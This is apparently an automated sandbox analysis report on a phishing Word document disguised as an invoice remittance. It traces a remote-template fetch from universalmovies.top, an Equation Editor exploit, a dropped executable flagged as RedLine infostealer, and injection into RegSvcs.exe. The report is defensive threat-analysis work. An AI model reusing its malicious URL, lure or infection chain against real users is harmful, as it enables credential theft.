Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00251BB8	10_2_00251BB8
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00269D05	10_2_00269D05
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0023FE40	10_2_0023FE40
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0025BFE6	10_2_0025BFE6
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00251FD0	10_2_00251FD0
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00163600	10_2_00163600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00267135	12_2_00267135
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_0026D240	12_2_0026D240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00267710	12_2_00267710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_0026FAD8	12_2_0026FAD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00269D88	12_2_00269D88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_0026AD9C	12_2_0026AD9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00263219	12_2_00263219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_002632D0	12_2_002632D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_0026A316	12_2_0026A316
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_0026770A	12_2_0026770A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00268950	12_2_00268950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_0026C9C8	12_2_0026C9C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00269D61	12_2_00269D61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_00269E61	12_2_00269E61
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_01E42EF8	12_2_01E42EF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_01E42628	12_2_01E42628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 12_2_01E422E0	12_2_01E422E0

Source: ~WRF{CD326501-1350-4080-AA2C-AD93E1795262}.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: String function: 00258B40 appears 42 times
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: String function: 00250D27 appears 70 times
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: String function: 00237F41 appears 35 times

Source: ExtExport2[1].exe.9.dr	Static PE information: Resource name: RT_STRING type: ARC archive data, dynamic LZW
Source: notorious53209.exe.9.dr	Static PE information: Resource name: RT_STRING type: ARC archive data, dynamic LZW

Source: 10.2.notorious53209.exe.170000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 10.2.notorious53209.exe.170000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 10.2.notorious53209.exe.170000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 10.2.notorious53209.exe.170000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.RegSvcs.exe.e0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 12.2.RegSvcs.exe.e0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: notorious53209.exe PID: 3468, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 3536, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\notorious[1].doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D9B70A7F.doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDOC@6/54@16/3

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_0029A2D5 GetLastError,FormatMessageW,

10_2_0029A2D5

Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00288713 AdjustTokenPrivileges,CloseHandle,		10_2_00288713
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00288CC3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		10_2_00288CC3

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_0029B59E SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

10_2_0029B59E

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_002AF121 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

10_2_002AF121

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_0029C602 CoInitialize,CoCreateInstance,CoUninitialize,

10_2_0029C602

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_00234FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

10_2_00234FE9

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$voice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR78B7.tmp

Jump to behavior

Source: Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc	OLE indicator, Word Document stream: true
Source: tmp6E21.tmp.12.dr	OLE indicator, Word Document stream: true

Source: ~WRF{CD326501-1350-4080-AA2C-AD93E1795262}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{CD326501-1350-4080-AA2C-AD93E1795262}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{CD326501-1350-4080-AA2C-AD93E1795262}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc

ReversingLabs: Detection: 36%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\notorious53209.exe "C:\Users\user\AppData\Roaming\notorious53209.exe"
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\notorious53209.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\notorious53209.exe "C:\Users\user\AppData\Roaming\notorious53209.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\notorious53209.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: credssp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Section loaded: dwmapi.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc	Initial sample: OLE zip file path = word/_rels/settings.xml.rels
Source: tmp6E21.tmp.12.dr	Initial sample: OLE zip file path = word/_rels/settings.xml.rels

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Source: Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc

Initial sample: OLE indicators vbamacros = False

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_0034F090 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

10_2_0034F090

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_0054F95C push ds; iretd	9_2_0054F95D
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00566442 push ebp; ret	9_2_0056644B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00559170 push eax; retf	9_2_00559171
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_0056647A push ebp; ret	9_2_0056647B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00566460 push ebp; ret	9_2_0056646B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00565A36 push ebp; ret	9_2_00565A37
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00565A3E push ebp; ret	9_2_00565A3F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_0056643A push ebp; ret	9_2_0056643B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_005663DF push ebp; ret	9_2_005663EB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_0055A5C0 push eax; retn 0055h	9_2_0055A5C1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_005501F4 push eax; retf	9_2_005501F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_005663FF push ebp; ret	9_2_0056640B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_005665E6 push ebp; ret	9_2_005665E7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_005665EC push ebp; ret	9_2_005665EF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_0056648A push ebp; ret	9_2_0056648B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00566388 push ebp; ret	9_2_0056638B
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_0023C590 push eax; retn 0023h	10_2_0023C599
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00258B85 push ecx; ret	10_2_00258B98

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Microsoft Office launches external ms-search protocol handler (WebDAV)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\universalmovies.top@SSL\DavWWWRoot			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\universalmovies.top@SSL\DavWWWRoot			Jump to behavior

Contains an external reference to another file

Source: settings.xml.rels

Extracted files from sample: https://universalmovies.top/notorious.doc

Office drops RTF file

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File dump: notorious[1].doc.0.dr			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File dump: D9B70A7F.doc.0.dr			Jump to dropped file

Office viewer loads remote template

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Section loaded: netapi32.dll and davhlpr.dll loaded

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\notorious53209.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\ExtExport2[1].exe			Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\ASP.NET_4.0.30319\Names

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 7474
Source: unknown	Network traffic detected: HTTP traffic on port 7474 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 7474 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 7474
Source: unknown	Network traffic detected: HTTP traffic on port 7474 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 7474
Source: unknown	Network traffic detected: HTTP traffic on port 7474 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 49179 -> 7474
Source: unknown	Network traffic detected: HTTP traffic on port 7474 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 7474 -> 49179

Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_00234A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		10_2_00234A35
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002B55FD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		10_2_002B55FD

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_002533C7 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

10_2_002533C7

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
